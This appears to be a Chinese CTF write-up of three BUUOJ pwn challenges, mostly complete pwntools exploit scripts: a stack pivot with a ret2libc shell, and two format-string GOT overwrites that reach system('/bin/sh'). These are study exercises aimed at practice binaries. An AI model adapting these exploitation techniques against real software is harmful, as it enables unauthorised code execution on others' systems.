from pwn import *io = remote('node4.buuoj.cn' ,29764 ) elf = ELF('./borrowstack' ) libc = ELF('./libc-2.23.so' ) puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] main = elf.symbols['main' ] bank_addr = 0x0000000000601080 pop_rdi_ret = 0x0000000000400703 leave_ret = 0x0000000000400699 ret = 0x00000000004004c9 payload = b'a' * 0x60 + p64(bank_addr) + p64(leave_ret) io.sendafter('Welcome to Stack bank,Tell me what you want' , payload) io.recvuntil('Done!You can check and use your borrow stack now!' ) payload = p64(ret) * 20 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main) io.send(payload) io.recvline() puts_addr = u64(io.recv(6 ).ljust(8 ,b'\x00' )) log.info(hex (puts_addr)) libc_base = puts_addr - libc.symbols['puts' ] shell = libc_base + 0x4526a payload = b'a' * 0x60 + p64(0xdeadbeef ) + p64(shell) io.send(payload) io.recvuntil('Welcome to Stack bank,Tell me what you want\nDone!You can check and use your borrow stack now!' ) io.send(str (1 )) io.interactive()
[SWPU 2019]login 格式化字符串在bss段的利用,对这个点不熟悉的话可以先去做做HITCON—Traning LAB 9 那道例题,这两题差不多
exp
from pwn import *context.log_level = 'debug' context.terminal = ['tmux' , 'splitw' , '-h' ] elf = ELF('./SWPUCTF_2019_login' ) io = process('./SWPUCTF_2019_login' ) libc = elf.libc sl = lambda s : io.sendline(s) sa = lambda s, payload : io.sendlineafter(s,payload) sd = lambda s : io.send(s) rv = lambda n : io.recv(n) rc = lambda : io.recv() ru = lambda s : io.recvuntil(s) def ms (name,addr ): print (name + "---->" + hex (addr)) def debug (mallocr,PIE=True ): if PIE: text_base = int (os.popen("pmap {}| awk '{{print }}'" .format (p.pid)).readlines()[1 ], 16 ) gdb.attach(io,'b *{}' .format (hex (text_base+mallocr))) else : gdb.attach(io,"b *{}" .format (hex (mallocr))) printf_got = elf.got['printf' ] ms("printf_got" , printf_got) name = "lnk" sa("Please input your name:" ,name) ru("Please input your password:" ) payload = 'aaaa%6$p' sl(payload) ru("aaaa" ) ru("0x" ) ebp_content = int (rv(8 ), 16 ) change = (ebp_content - 0x4 ) & 0xff ms("stack" , ebp_content) ms("change" , change) payload1 = "%" + str (change) + "c%6$hhn" ru("Try again!" ) sl(payload1) payload2 = "%" + str (0x14 ) + "c%10$hhn" ru("Try again!" ) sl(payload2) payload3 = "%" + str (change - 0x4 ) + "c%6$hhn" ru("Try again!" ) sl(payload3) payload4 = "%" + str (0xb016 ) + "c%10$hn" ru("Try again!" ) sl(payload4) ru("Try again!" ) leak_printf = "bbbb%9$s" sl(leak_printf) ru('bbbb' ) printf_addr = u32(rv(4 )) ms("printf_addr" , printf_addr) libc_base = printf_addr - libc.symbols['printf' ] ms("libc_base" , libc_base) system_addr = libc_base + libc.symbols['system' ] ms("pt_libc" , libc.symbols['printf' ]) ms('sys_libc' , libc.symbols['system' ]) ms("system_addr" , system_addr) syslow = system_addr & 0xffff syshigh = system_addr >> 16 payload5 = "%" + str (syslow) + "c%9$hn" payload5 += "%" + str (syshigh - syslow) + "c%8$hn" ru("Try again!" ) sl(payload5) ru("Try again!" ) sl("/bin/sh" ) io.interactive()
bbctf_2020_fmt_me snprintf
造成的格式化字符串漏洞,一开始没找到利用点,后来经过提醒才想到改写got
表,(我是🥬🐔呜呜呜
首先程序执行一次就退出了,不能循环利用,我们先改system@got
为main
函数的地址,达到无限循环的目的
payload1 = fmtstr_payload(6 , {system_got:main_addr}, write_size='long' )
偏移是6是因为snprintf
从右到左传参,要减去另外两个参数,当然也可以像下图这样数出来
接下来改写atoi
函数的got为system
函数的装载地址也就是system@plt+6
,最后传入/bin/sh
就可以getshell
exp
from pwn import *io = remote('node4.buuoj.cn' ,27747 ) elf = ELF('./bbctf_2020_fmt_me' ) context.log_level = 'debug' context.arch = 'amd64' system_got = elf.got['system' ] print ('sys_got-->' , hex (system_got))main_addr = elf.sym['main' ] print ('main-->' , hex (main_addr))atoi_got = elf.got['atoi' ] io.recvuntil('Choice: ' ) io.sendline(str (2 )) payload1 = fmtstr_payload(6 , {system_got:main_addr}, write_size='long' ) io.sendlineafter('Good job. I\'ll give you a gift.' , payload1) payload2 = fmtstr_payload(6 , {atoi_got:0x00401056 }, write_size='long' ) io.recvuntil('Choice: ' ) io.sendline(str (2 )) io.sendlineafter('Good job. I\'ll give you a gift.' , payload2) io.recv() io.sendline(b'/bin/sh' ) io.interactive()